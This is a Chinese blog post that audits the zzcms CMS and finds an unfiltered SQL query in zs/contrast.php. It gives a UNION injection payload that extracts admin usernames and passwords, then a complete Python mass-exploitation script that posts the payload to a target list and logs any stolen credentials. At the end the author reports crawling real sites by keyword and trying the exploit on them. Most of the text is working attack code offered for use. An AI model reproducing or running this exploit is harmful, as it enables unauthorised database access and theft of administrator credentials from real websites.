于是就跑去站长之家看了一下
0X01 白盒审计
下载下来安装后 直接扔进法师大牛的源代码审计系统
很快就定位到一个文件的一段sql代码
文件位置:zs/contrast.php
代码片段:
$id='';
if(!empty($_POST['id'])){
for($i=0; $i<count($_POST['id']);$i++){
$id=$id.($_POST['id'][$i].',');
}
$id=substr($id,0,strlen($id)-1);
}
$sql="select * from zzcms_main where id in ($id)" ;
$rs=mysql_query($sql);
这段代码讲人话就是把POST过来的id字段一个字一个字分开然后用”,”连接(我也不知道为什么这个程序员把”.=”写成了”=” 导致了”123”变成”1,” 原本应为”1,2,3,”)去掉最后的”,”后不经过任何过滤扔进sql语句里
其实绕过这个substr很简单 只需要提交的时候加一个数组的下标就可以了
例如
id[0]=1)union select 1,CONCAT(0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67,0x5b,0x23,admin,0x7c,pass,0x23,0x5d,0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, NULL,1,1,1,1,1,1,1,1,1,1,1,1, NULL,1,1,1,1,1,1,1 from zzcms_admin#
id[0]=1)union select 1,CONCAT(0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67,0x5b,0x23,admin,0x7c,pass,0x23,0x5d,0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, NULL,1,1,1,1,1,1,1,1,1,1,1,1, NULL,1,1,1,1,1,1,1 from zzcms_admin#
‘sqlInjectFlag[#’和’#]sqlInjectFlag’是为了编写exp时好匹配用的一个Flag0X02 EXP编写
首先导入要用的模块
import requests #http请求模块
import re #正则匹配模块
from lxml import etree #XPATH(用来解析html)模块
写文件函数(我也不知道为什么我每个脚本都写这个函数)
def opt2File(str):
try:
f = open('result.txt','a')
f.write(str + '\n')
finally:
f.close()
跑exp的函数
def runSqlInjectExp(website):
sqlInjectExp = {
u'id[0]' : u"1) union select 1, CONCAT(0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67,0x5b,0x23,admin,0x7c,pass,0x23,0x5d,0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, NULL,1,1,1,1,1,1,1,1,1,1,1,1, NULL,1,1,1,1,1,1,1 from zzcms_admin#"
}
if website is None:
return
if u'http://' not in website:
website = u'http://' + website
try:
requests.get(website,timeout=5)
except:
print u'Failed to visit the ' + website + '\n'
return
try:
r = requests.post(website + u'/zs/contrast.php',data=sqlInjectExp,timeout=5)
htmlObj = r.text.encode('utf-8')
htmlTree = etree.HTML(htmlObj)
trData = htmlTree.xpath("//body/table[1]/tr[2]/td")
sqlInjectResult = []
for n in trData:
reResult = re.match(r'sqlInjectFlag\[#([\s\S]*?)#\]sqlInjectFlag',n.text.encode('utf-8'))
if reResult is not None:
opt2File(website)
opt2File(' ' + reResult.group(1))
sqlInjectResult.append(reResult.group(1))
if sqlInjectResult:
str = ''
for result in sqlInjectResult:
str += result + u' '
print target
print str
except:
print u'Failed to inject the ' + website + '\n'
return
完整代码
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
import re
from lxml import etree
def opt2File(str):
try:
f = open('result.txt','a')
f.write(str + '\n')
finally:
f.close()
def runSqlInjectExp(website):
sqlInjectExp = {
u'id[0]' : u"1) union select 1, CONCAT(0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67,0x5b,0x23,admin,0x7c,pass,0x23,0x5d,0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, NULL,1,1,1,1,1,1,1,1,1,1,1,1, NULL,1,1,1,1,1,1,1 from zzcms_admin#"
}
if website is None:
return
if u'http://' not in website:
website = u'http://' + website
try:
requests.get(website,timeout=5)
except:
print u'Failed to visit the ' + website + '\n'
return
try:
r = requests.post(website + u'/zs/contrast.php',data=sqlInjectExp,timeout=5)
htmlObj = r.text.encode('utf-8')
htmlTree = etree.HTML(htmlObj)
trData = htmlTree.xpath("//body/table[1]/tr[2]/td")
sqlInjectResult = []
for n in trData:
reResult = re.match(r'sqlInjectFlag\[#([\s\S]*?)#\]sqlInjectFlag',n.text.encode('utf-8'))
if reResult is not None:
opt2File(website)
opt2File(' ' + reResult.group(1))
sqlInjectResult.append(reResult.group(1))
if sqlInjectResult:
str = ''
for result in sqlInjectResult:
str += result + u' '
print target
print str
except:
print u'Failed to inject the ' + website + '\n'
return
targets = [
'http://baidu.com/' #target列表
]
for target in targets:
runSqlInjectExp(target)
用关键词爬了点target出来试了一下